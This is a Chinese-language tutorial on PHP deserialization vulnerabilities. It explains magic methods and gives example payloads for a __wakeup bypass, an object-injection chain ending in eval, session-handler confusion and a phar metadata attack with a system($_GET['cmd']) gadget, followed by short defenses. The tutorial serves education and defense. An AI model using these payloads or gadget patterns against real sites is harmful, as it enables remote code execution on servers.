一文让PHP反序列化从入门到进阶
字数 1319 2025-08-25 22:58:40
PHP反序列化从入门到进阶
序列化与反序列化基础
序列化
序列化是将对象转换为字符串的过程,使用serialize()函数实现:
class test {
public $name = "ghtwf01";
public $age = "18";
}
$a = new test();
echo serialize($a);
// 输出: O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}
不同访问修饰符的序列化格式:
- public: 直接显示属性名
- private: 格式为
%00类名%00成员名,长度增加2 - protected: 格式为
%00*%00成员名,长度增加2
反序列化
反序列化使用unserialize()函数将序列化字符串还原为对象:
$b = 'O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
$obj = unserialize($b);
反序列化漏洞原理
关键魔术方法
PHP中的魔术方法在特定条件下自动调用:
__construct(): 对象创建时调用__destruct(): 对象销毁时调用__toString(): 对象被当作字符串使用时调用__sleep(): 序列化前调用__wakeup(): 反序列化后立即调用
漏洞示例
class A {
public $test = "demo";
function __destruct() {
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a); // 可控点
攻击者可构造恶意序列化数据控制$test的值。
CVE-2016-7124 __wakeup绕过
当表示对象属性个数的值大于真实属性个数时,会跳过__wakeup()的执行:
class A {
public $target;
function __wakeup() {
$this->target = "wakeup!";
}
function __destruct() {
file_put_contents("hello.php", $this->target);
}
}
正常payload:
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
绕过payload(将属性个数改为2):
O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}
注入对象构造方法
同名方法利用
class A {
public $target;
function __construct() { $this->target = new B; }
function __destruct() { $this->target->action(); }
}
class B { function action() { echo "action B"; } }
class C {
public $test;
function action() { eval($this->test); }
}
构造恶意序列化数据使$target指向C类的实例。
session反序列化漏洞
PHP session处理机制
PHP有三种session序列化处理器:
- php:
键名|序列化值 - php_binary:
键名长度(ASCII字符)+键名+序列化值 - php_serialize: 完全序列化数组
漏洞利用条件
- 使用不同处理器进行序列化和反序列化
- 可以控制session内容
利用步骤
- 使用
php_serialize处理器存储包含|的恶意序列化数据 - 使用
php处理器读取时,|会被当作分隔符,触发反序列化
实际案例
// upload.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
// vuln.php
ini_set('session.serialize_handler', 'php');
session_start();
class D0g3 {
public $name;
function __destruct() { eval($this->name); }
}
构造payload:
|O:5:"D0g3":1:{s:4:"name";s:10:"phpinfo();";}
phar反序列化攻击
phar文件结构
- stub: 文件标识,如
<?php __HALT_COMPILER(); ?> - manifest: 元数据(序列化存储)
- contents: 文件内容
- signature: 签名
攻击原理
当使用phar://协议解析phar文件时,文件操作函数会反序列化manifest中的元数据。
利用条件
- phar文件能上传到服务器
- 有可用的魔术方法
- 文件操作函数参数可控
攻击示例
- 创建恶意phar文件:
class TestObject {
function __destruct() { system($_GET['cmd']); }
}
$phar = new Phar("test.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
- 上传并触发:
// 假设上传为test.jpg
file_exists('phar://test.jpg/test.txt');
防御措施
- 禁用危险魔术方法
- 对反序列化数据进行严格校验
- 限制phar文件上传
- 更新PHP版本修复已知漏洞
总结
PHP反序列化漏洞的核心在于:
- 可控的反序列化入口
- 存在危险的魔术方法
- 攻击链的完整构造
理解序列化格式、魔术方法触发条件和各种利用技巧是掌握PHP反序列化漏洞的关键。